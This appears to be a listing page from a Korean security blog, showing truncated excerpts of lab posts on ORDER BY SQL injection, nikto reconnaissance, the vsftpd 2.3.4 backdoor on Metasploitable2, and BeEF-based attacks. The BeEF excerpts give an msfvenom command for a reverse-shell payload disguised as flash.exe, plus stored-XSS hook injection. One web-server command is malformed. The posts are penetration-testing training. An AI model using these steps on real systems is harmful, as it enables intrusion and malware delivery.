[SQL Injection] Prepared Statement 적용이 불가한 구문일 때
·
Security/Application
보통 SQL 인젝션을 막기 위한 가장 효과적인 방법 중 하나로 Prepared Statement가 널리 알려져 있습니다. 저 역시 이렇게 알고 있었지만, 모든 것을 막을 순 없었습니다. 쿼리 구조를 동적으로 변경해야 하는 특정 구문에는 적용할 수 없다는 한계가 있습니다. 특히, ORDER BY 절이 그 대표적인 예시인데요. 이번 글에서는 Prepared Statement로 막을 수 없는 ORDER BY 절 SQL 인젝션의 원인과 안전한 방어 대책에 대해서 작성해 보려고 합니다. 1. 취약 원인ORDER BY 절은 정렬 기준 컬럼(식별자)을 지정하는 구문입니다. 이 컬럼명은 실행 시점에 동적으로 결정되므로, Prepared Statement(이하 PS)의 *리터럴 바인딩 방식을 적용할 수 없습니다. PS..
[모의해킹] 웹 애플리케이션 정보 수집 방법
·
Security/Application
정보 수집은 모의해킹의 가장 중요한 초기 단계로, 공격자가 대상 시스템의 구조와 특성을 파악하는 정찰 과정입니다. 이 글에서는 실제 도구와 기법을 통해 웹 모의해킹 시 정보 수집 단계에 대해서 정리해 보겠습니다.1. 웹 취약점 스캐닝칼리 리눅스에 기본으로 설치도어 있는 웹 스캐닝 프로그램 중에 nikto라는 프로그램이 있습니다. nikto를 이용하면 간단한 명령으로 중요한 정보를 쉽게 수집할 수 있습니다. 먼저 실습용 가상 머신(bWAPP 서비스)의 IP 주소를 입력하여 실행해 보겠습니다.  전체 출력 결과는 다음과 같습니다.┌──(kali㉿kali)-[~]└─$ nikto -host 192.168.183.130- Nikto v2.5.0--------------------------------------..
Metasploitable2 - FTP 취약점 공격 (vsftpd 2.3.4, CVE-2011-2523)
·
Security/Application
1. Metasploitable 서버 포트 스캔 및 vsftp 버전 정보 확인Nmap을 이용해 Metasploitable 서버(192.168.183.128)에 열린 포트를 확인했다. 그중 ftp 포트가 오픈되어 있고, vsftpd 2.3.4 버전을 사용 중인 것을 확인했다.2. Exploit-DB를 활용하여 해당 버전 취약점 검색Exploit-DB에서 해당 버전의 취약점을 검색한 결과, vsftpd 2.3.4 취약점 관련 두 개의 익스플로잇 코드가 검색됐다.3. Metasploit을 이용한 공격 수행먼저, Metasploit 실행한다. 실행 후, vsftpd 취약점 모듈을 검색하고 공격 모듈을 선택한다. show options 명령어를 입력하여 현재 설정된 옵션을 확인한다. 현재 공격 대상(타겟=Meta..
BeEF 활용 악성코드 공격(2)
·
Security/Application
이 실습은 Stored XSS 취약점이 존재하는 게시판(bWAPP/XSS-Stored(Blog))을 BeEF와 함께 활용하는 환경을 가정한다.악성코드 파일 생성우선, 악성코드 파일을 생성하기 위해 아래 명령어를 사용한다.sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.129 LPORT=5555 -f exe -o flash.exe 위 명령어를 입력하면 flash.exe 파일이 생성된다.웹 서버 생성클라이언트가 flash.exe 파일을 다운로드할 수 있도록 웹 서버를 하나 만든다.python -m http://192.168.183.129:8000웹 브라우저에서 http://192.168.183.129:8000/flash.exe 주소로 접..
BeEF 활용 악성코드 공격(1)
·
Security/Application
1. 가상 머신 설정실습을 위해 윈도우와 칼리 리눅스 가상 머신을 설정한다.윈도우 설정메모리: 2GB프로세서: 2개네트워크: NAT 설정절전 모드: 사용 안 함윈도우 업데이트: 사용 안 함2. 칼리 리눅스 환경 설정BeEF 설치 및 실행을 위해 칼리 리눅스에서 아래 명령어를 실행한다.sudo apt update sudo apt install beef-xss sudo beef-xssBeEF 첫 실행 시 비밀번호 설정 (예: 1234)브라우저에서 http://127.0.0.1:3000/ui/panel로 접속하여 BeEF 패널에 들어간다.BeEF 훅 URL: http://192.168.183.129:3000/hook.js3. bWAPP 게시판 악성코드 삽입bWAPP의 XSS-Stored(Blog)에 위와 같이..